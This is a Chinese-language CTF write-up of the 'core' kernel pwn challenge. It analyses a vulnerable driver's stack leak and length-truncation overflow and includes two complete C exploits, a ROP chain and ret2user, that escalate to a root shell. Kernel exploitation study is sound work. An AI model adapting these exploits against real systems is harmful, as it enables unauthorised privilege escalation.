题目及相关文件下载 ,密码:914k
这是一道接近于libc的overflowme的题目了,调试还是比较麻烦,如果大佬们有好用的kernel用gdb插件麻烦告知我一下,环境好容易崩溃啊…
core 题目&漏洞分析 题目中注册了core_write、core_ioctl,而在core_ioctl中会根据参数去调用core_read、core_copy_func函数。
core_write: 用户可以向全局变量中写入一个不大于0x800的字符串内容
core_ioctl:分为3个case,维护了一个全局变量,当参数为0x6677889c的时候,可以设置这个变量,其余情况会分别调用core_read、core_copy_func函数
core_read:会根据core_ioctl维护的全局变量,从栈上读出长度为0x40的数据,这里很显然可以越界读数据,栈上的返回地址、canary之类的都可以读到
core_copy_func:会根据用户的输入长度,从name这个全局变量中向栈上读出数据。在判断时这个变量的类型是signed long long,而读出的时候变成了signed short,显然存在一个截断,当使用如0xf000000000000300这样的数据就可以绕过限制,造成内核的栈溢出。可以说是为了出题而出题了…
漏洞利用 首先检查一下内核的安全保护机制,通过查看start.sh发现没有开启smep,开启了kalsr和canary的。所谓smep是内核为了避免ret2user的利用方法增加的一种保护方法,即内核代码不能跳转到用户空间去执行代码,绕过方法也很简单,使用内核的ROP就可以了,但此题由于没有这个保护,可以直接使用ret2user的攻击方法。
题目给出的目录结构是这样的:
core.cpio:这是一个打包的文件,解包以后发现里面有文件系统,其中以vmlinux命名的是内核的二进制文件,core.ko是存在漏洞的驱动,也就是题目分析中分析的二进制文件。
start.sh: 启动脚本,标明启动的方法、保护措施等
bzImage:镜像文件
这里类比于libc中的pwn,感觉*.ko就是binary文件,vmlinux就是libc … 不同的是保护机制是由如何启动决定的。
内存地址泄露 这个漏洞在分析中已经说过了,在ioctl中设置全局变量的值,然后利用core_read函数可以泄露栈上的数据:
首先先对core驱动下断点,断点的下法是,首先在qemu中查看/sys/module/core/sections/.text文件,找到镜像加载的基地址:
然后在gdb端,执行add-symbol-file ./core/core.ko 0xffffffffc03a0000 ,为驱动增加符号表
这样就可以下断点了,首先看一下再core_read的栈内容。
由于kernel pwn 的最终目的是提权到root,一种简单的方法是执行
1 commit_creds(prepare_kernel_cred(0 ));
而commit_creds、prapare_kernel_cred都是内核函数,在vmlinux中,因此还需要泄露vmlinux的基地址。
而在栈地址中并不能看出来哪个地址属于vmlinux,这里用一个应该算是复杂的方法吧。
首先找到这两个函数在vmlinux的偏移:
1 2 3 4 from pwn import *elf = ELF('./core/vmlinux' ) print "commit_creds" ,hex(elf.symbols['commit_creds' ]-0xffffffff81000000 )print "prepare_kernel_cred" ,hex(elf.symbols['prepare_kernel_cred' ]-0xffffffff81000000 )
在qemu里查看/proc/kallsyms中的 commit_creds 函数地址
而计算之后,找到vmlinux的基址:
1 2 3 4 5 Python 2.7 .12 (default, Nov 20 2017 , 18 :23 :56 ) [GCC 5.4 .0 20160609 ] on linux2 Type "help" , "copyright" , "credits" or "license" for more information. >>> hex(0xffffffffba89c8e0 -0x9c8e0 )'0xffffffffba800000L'
可以发现在栈上有一条数据在vmlinux不远处,距离为0x9dd6d1
控制RIP 能够泄露vmlinux、驱动和canary了以后,就变得比较容易了。
首先预先构造好ROP,使用core_write写入到全局变量name中备用。
执行ROPgadget –binary vmlinux > 1.txt 保存gadget备用,这个过程慢到令人发指…
而在core_copy_func中,构造长度为0xf000000000000300,即可成功覆盖RIP
ROP构造 其实,提取过程很容易,流程是:
1 执行 commit_creds(prepare_kernel_cred(0)) ,此时该进程已经是id为0的root进程了,但是仍在内核态中。而这条语句的执行可以用ROP来做,由于SMEP没开,ret2user也可以,ret2user就是在编写的程序中写入一个函数调用该函数,将ROP的该部分直接写成用户态函数的地址;
2 执行swapgs ,准备回到用户态
3 iretq回到用户态,在rsp指向的位置布置好相关寄存器的值,特别的将rip寄存器的值保存为执行system(“/bin/sh”),再返回用户态后就可以拿到一个root权限的shell了。
EXP rop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h> void setoff (int fd,long long size) { ioctl(fd,0x6677889C ,size); } void core_read (int fd,char *buf) { ioctl(fd,0x6677889b ,buf); } void core_copy_func (int fd,long long size) { ioctl(fd,0x6677889a ,size); } unsigned long user_cs, user_ss, user_eflags,user_sp ;void save_stats () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp) : : "memory" ); } void get_shell () { system("/bin/sh" ); } int main () { int fd ; size_t tmp ; char buf[0x50 ]; size_t shellcode[0x100 ]; size_t vmlinux_base,canary,module_core_base; size_t commit_creds = 0x9c8e0 ; size_t prepare_kernel_cred = 0x9cce0 ; save_stats(); fd = open("/proc/core" ,O_RDWR); if (fd < 0 ){ printf ("Open /proc/core error!\n" ); exit (0 ); } setoff(fd,0x40 ); core_read(fd,buf); size_t pop_rdi = 0x000b2f ; size_t push_rax = 0x02d112 ; size_t swapgs = 0x0d6 ; size_t iret ; size_t xchg = 0x16684f0 ; size_t call_rax=0x40398 ; size_t pop_rcx = 0x21e53 ; size_t pop_rbp = 0x3c4 ; size_t pop_rdx = 0xa0f49 ; size_t mov_rdi_rax_call_rdx = 0x01aa6a ; vmlinux_base = (*(size_t *)(&buf[4 *8 ])-0x1dd6d1 ); printf ("[+] vmlinux_base:%p\n" ,vmlinux_base); canary = (*(size_t *)(&buf[0 ])); printf ("[+] canary:%p\n" ,canary); module_core_base = (*(size_t *)(&buf[2 *8 ])-0x19b ); printf ("[+] module_core_base:%p\n" ,module_core_base); commit_creds+=vmlinux_base; prepare_kernel_cred += vmlinux_base; pop_rdi += vmlinux_base; push_rax += vmlinux_base; swapgs += module_core_base ; iret = 0x50ac2 +vmlinux_base; xchg += vmlinux_base; call_rax += vmlinux_base; pop_rcx += vmlinux_base; mov_rdi_rax_call_rdx +=vmlinux_base; pop_rdx += vmlinux_base; printf ("[+] commit_creds:%p\n" ,commit_creds); printf ("[+] prepare_kernel_cred:%p\n" ,prepare_kernel_cred); for (int i=0 ;i<9 ;i++){ shellcode[i]=canary; } shellcode[9 ] = (*(size_t *)(&buf[1 ]) ); shellcode[10 ] = pop_rdi; shellcode[11 ] = 0 ; shellcode[12 ] = prepare_kernel_cred; shellcode[13 ] = pop_rdx; shellcode[14 ] = pop_rcx; shellcode[15 ] = mov_rdi_rax_call_rdx; shellcode[16 ] = commit_creds; shellcode[17 ] = swapgs; shellcode[18 ] = shellcode; shellcode[19 ] = iret; shellcode[20 ] = (size_t )get_shell; shellcode[21 ] = user_cs; shellcode[22 ] = user_eflags; shellcode[23 ] = user_sp; shellcode[24 ] = user_ss; write(fd,shellcode,25 *8 ); core_copy_func(fd,0xf000000000000000 +25 *8 ); }
ret2user 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> unsigned long user_cs, user_ss, user_eflags,user_sp ;void save_stats () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp) : : "memory" ); } void get_shell (void ) { system("/bin/sh" ); } #define KERNCALL __attribute__((regparm(3))) void * (*prepare_kernel_cred)(void *) KERNCALL ;void (*commit_creds)(void *) KERNCALL ;void payload () { commit_creds(prepare_kernel_cred(0 )); } void setoff (int fd,int off) { ioctl(fd,0x6677889C ,off); } void core_read (int fd,char *buf) { ioctl(fd,0x6677889B ,buf); } void core_copy (int fd , unsigned long long len) { ioctl(fd, 0x6677889A ,len); } int main (void ) { save_stats() ; unsigned long long buf[0x40 /8 ]; memset (buf,0 ,0x40 ); unsigned long long canary ; unsigned long long module_base ; unsigned long long vmlinux_base ; unsigned long long iretq ; unsigned long long swapgs ; unsigned long long rop[0x30 ]; memset (buf,0 ,0x30 *8 ); int fd = open("/proc/core" ,O_RDWR); if (fd == -1 ){ printf ("open file error\n" ); exit (0 ); } else { printf ("open file success\n" ); } printf ("[*] buf: 0x%p" ,buf); setoff(fd,0x40 ); core_read(fd,buf); canary = buf[0 ]; module_base = buf[2 ] - 0x19b ; vmlinux_base = buf[4 ] - 0x16684f0 ; printf ("[*] canary: 0x%p" ,canary); printf ("[*] module_base: 0x%p" ,module_base); printf ("[*] vmlinux_base: 0x%p" ,vmlinux_base); commit_creds = vmlinux_base + 0x9c8e0 ; prepare_kernel_cred = vmlinux_base + 0x9cce0 ; iretq = vmlinux_base + 0x50ac2 ; swapgs = module_base + 0x0d6 ; rop[8 ] = canary ; rop[10 ] = payload; rop[11 ] = swapgs; rop[12 ] = 0 ; rop[13 ] = iretq ; rop[14 ] = get_shell ; rop[15 ] = user_cs; rop[16 ] = user_eflags; rop[17 ] = user_sp; rop[18 ] = user_ss; rop[19 ] = 0 ; write(fd,rop,0x30 *8 ); core_copy(fd,0xf000000000000000 +0x30 *8 ); }
reference https://www.anquanke.com/post/id/86490
http://bobao.360.cn/learning/detail/3702.html